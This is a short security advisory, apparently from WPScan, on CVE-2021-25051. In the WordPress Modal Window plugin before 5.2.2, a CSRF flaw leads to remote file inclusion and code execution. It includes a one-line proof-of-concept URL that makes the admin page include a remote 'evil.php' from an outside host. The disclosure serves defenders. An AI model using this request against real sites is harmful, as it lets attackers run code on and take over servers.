Lucene search
Krzysztof ZającWPVDB-ID:566FF8DC-F820-412B-B2D3-FA789BCE528EHistoryDec 05, 2021 - 12:00 a.m.
Modal Window < 5.2.2 - RFI leading to RCE via CSRF
2021-12-0500:00:00
Krzysztof Zając
wpscan.com
8
modal window plugin
rfi
rce
csrf
allow_url_include
php extension
data:// protocol
http:// protocol
EPSS
0.001
Percentile
48.4%
The plugin within the wow-company admin menu page allows to include() arbitrary file with PHP extension (as well as with data:// or http:// protocols), thus leading to CSRF RCE.
PoC
http://127.0.0.1:8001/wp-admin/admin.php?page=wow-company&tab;=https%3A%2F%2Fstatic.kazet.cc%2Fevil.php%3F PHP’s allow_url_include must be set to “On”
Related
patchstack
patchstack
cnvd
cnvd
WordPress Modal Window plugin cross-site request forgery vulnerability
2022-01-14 00:00:00
wpexploit
wpexploit
Modal Window < 5.2.2 - RFI leading to RCE via CSRF
2021-12-05 00:00:00
prion
prion
Cross site request forgery (csrf)
2022-01-10 16:15:00
cvelist
cvelist
CVE-2021-25051 Modal Window < 5.2.2 - RFI leading to RCE via CSRF
2022-01-10 15:30:35
cve
cve
CVE-2021-25051
2022-01-10 16:15:09
nvd
nvd
CVE-2021-25051
2022-01-10 16:15:09